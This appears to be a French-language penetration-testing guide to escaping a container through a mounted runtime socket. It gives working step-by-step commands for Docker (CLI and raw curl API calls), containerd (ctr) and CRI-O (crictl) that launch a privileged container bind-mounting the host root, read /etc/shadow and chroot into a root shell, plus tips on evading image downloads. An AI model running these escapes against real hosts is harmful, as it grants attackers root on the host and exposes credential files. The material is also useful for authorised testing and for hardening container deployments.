Monter le socket de contrôle d'un runtime de conteneurs dans une charge de travail est l'une des mauvaises configurations les plus dangereuses, car ce socket est le plan de contrôle complet du démon sans authentification supplémentaire. Un processus capable d'écrire dans /var/run/docker.sock peut ordonner au démon Docker de l'hôte de démarrer n'importe quel conteneur de son choix, y compris un conteneur --privileged qui monte en bind le système de fichiers racine de l'hôte. Le nouveau conteneur s'exécute sur l'hôte en tant que root, de sorte que l'attaquant lit et écrit chaque fichier de l'hôte. Il en va de même pour les sockets containerd et CRI-O avec leurs propres clients.
Confirmez que le socket est présent et accessible :
ls -l /var/run/docker.sock /run/containerd/containerd.sock /run/crio/crio.sock 2>/dev/null
# probe the Docker API directly, no docker CLI required
curl -s --unix-socket /var/run/docker.sock http://localhost/version
curl -s --unix-socket /var/run/docker.sock http://localhost/info | head
Voie : socket Docker#
Si la CLI docker est présente dans l'image, une seule commande suffit :
docker -H unix:///var/run/docker.sock run -v /:/host --privileged --rm -it alpine \
chroot /host sh
Si aucune CLI n'est présente, pilotez l'API HTTP brute sur le socket avec curl. Créez un conteneur qui monte en bind la racine de l'hôte et qui est privilégié, démarrez-le, et lisez sa sortie :
# 1. Create the container (HostConfig.Binds mounts host / into /host; Privileged on)
cid=$(curl -s -XPOST --unix-socket /var/run/docker.sock \
-H 'Content-Type: application/json' \
-d '{"Image":"alpine","Cmd":["/bin/sh","-c","cat /host/etc/shadow; chroot /host sh -c id"],
"HostConfig":{"Binds":["/:/host"],"Privileged":true}}' \
http://localhost/containers/create | sed 's/.*"Id":"\([^"]*\)".*/\1/')
# 2. Start it, then stream the logs
curl -s -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/$cid/start
curl -s --unix-socket /var/run/docker.sock \
"http://localhost/containers/$cid/logs?stdout=1&stderr=1"
Pour un point d'ancrage interactif, créez plutôt le conteneur avec "OpenStdin":true,"Tty":true, puis attachez-vous à /containers/$cid/attach?stream=1&stdin=1&stdout=1. Si l'image cible n'est pas déjà présente, l'API POST /images/create?fromImage=alpine la télécharge d'abord, ou réutilisez une image que GET /images/json indique comme déjà disponible.
Voie : socket containerd#
Le socket de containerd se pilote avec ctr. Les conteneurs gérés par Kubernetes vivent dans l'espace de noms k8s.io, ciblez donc cet espace de noms :
ctr --address /run/containerd/containerd.sock namespace ls
ctr --address /run/containerd/containerd.sock -n k8s.io image ls | head
ctr --address /run/containerd/containerd.sock -n k8s.io run --privileged \
--mount type=bind,src=/,dst=/host,options=rbind:rw \
docker.io/library/alpine:latest esc chroot /host sh
Voie : socket CRI-O ou CRI#
Un socket CRI (crio.sock, ou un cri.sock générique) se pilote avec crictl. Définissez un pod et un conteneur privilégiés qui montent la racine de l'hôte :
export CONTAINER_RUNTIME_ENDPOINT=unix:///run/crio/crio.sock
# pod and container JSON specify privileged:true and a host / bind mount, then:
pod=$(crictl runp pod.json)
cid=$(crictl create $pod container.json pod.json)
crictl start $cid && crictl exec -it $cid chroot /host sh
Notes d'exploitation#
- Le socket n'est pas authentifié : quiconque peut y écrire a le contrôle complet du démon, de sorte que l'appartenance à un groupe ou le mode de fichier du socket à l'intérieur du conteneur est le seul garde-fou.
ls -lsur le socket indique si votre UID peut y écrire. - Lancer un nouveau conteneur privilégié est plus propre que d'essayer de s'évader du conteneur actuel : le nouveau conteneur est root sur l'hôte par construction, indépendamment des capacités et du seccomp du conteneur actuel.
- Les voies containerd et CRI comptent dans Kubernetes, où le socket du nœud est parfois monté dans une charge de travail ; combinez avec évasion de pod vers nœud Kubernetes.
- Pour éviter de télécharger une image, réutilisez-en une déjà présente sur l'hôte (
/images/json,ctr image ls,crictl images) ; n'importe quelle image Linux convient puisque vous effectuez immédiatement unchrootde la racine de l'hôte.